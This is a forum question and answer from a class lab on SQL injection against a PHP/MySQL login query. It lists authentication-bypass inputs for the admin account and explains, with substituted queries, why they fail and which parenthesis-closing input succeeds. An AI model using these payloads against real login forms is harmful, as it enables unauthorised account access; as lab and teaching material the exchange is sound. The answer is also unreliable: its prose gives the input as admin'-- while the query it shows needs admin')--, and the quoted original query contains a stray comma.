SQL-Injection Troubles - sql-injection

Question

We are working on a lab in class and I cannot seem to find what I am missing. The following code is an SQL Query for authenticating users:
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
FROM USERS_TABLE
WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");
$chk = mysql_fetch_array($sel1);
if (found one record)
then {allow the user to login}
We are supposed to locate a the SQL-Injection vulnerability which I believe lies in:
WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");
To exploit it we are basically supposed to log in to an admin profile on a website with a pretty generic username and password form. The given information is that we know the profile name is admin. And we are supposed to exploit the username entry on the website only.
After reading the following article Security Idiots and a section out of a book Penetration Testing A Hands-On Introduction to Hacking by Georgia Weidman. These are some of the things I tried:
admin' OR 1--
admin'--
admin' AND 1=1--
And much more variations of this. My understanding is that I am selecting the admin profile completing that section with the "'" then forcing true and killing the rest of the code on that line. However, nothing I try seems to be working.
It is also important to note that for this lab we have special configured virtual machines that allow this attack to work.
So am I on the right track or am I not understanding the logic behind a SQL-Injection attack. I am not necessarily looking for what is the code I am looking for but I am worried I am heading off in the wrong direction and am missing something.
Any help is much appreciated. And I would be happy to elaborate on anything.
Thank you.

Answer 1

Thanks to Azi for pointing out the issue with space.
The SQL you where supposed to crack was
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = '$user' OR email = '$user') AND pass = '$pass'
Any of the admin' OR 1--, admin'--, admin' AND 1=1-- would not work because when user variable gets substituted with these inputs the statements become
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin' OR 1-- ' OR email = '$user') AND pass = '$pass'
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin'-- ' OR email = ’$user’) AND pass = ’$pass’
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin' AND 1=1-- ' OR email = ’$user’) AND pass = ’$pass’
All of which are syntax errors since opened bracket ( is not closed
When you give admin'-- (giving space at the end of your input is important) the input statement becomes
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin')-- ' OR email = ’$user’) AND pass = ’$pass’"
The SQL has no syntax error and will select the record with name as admin.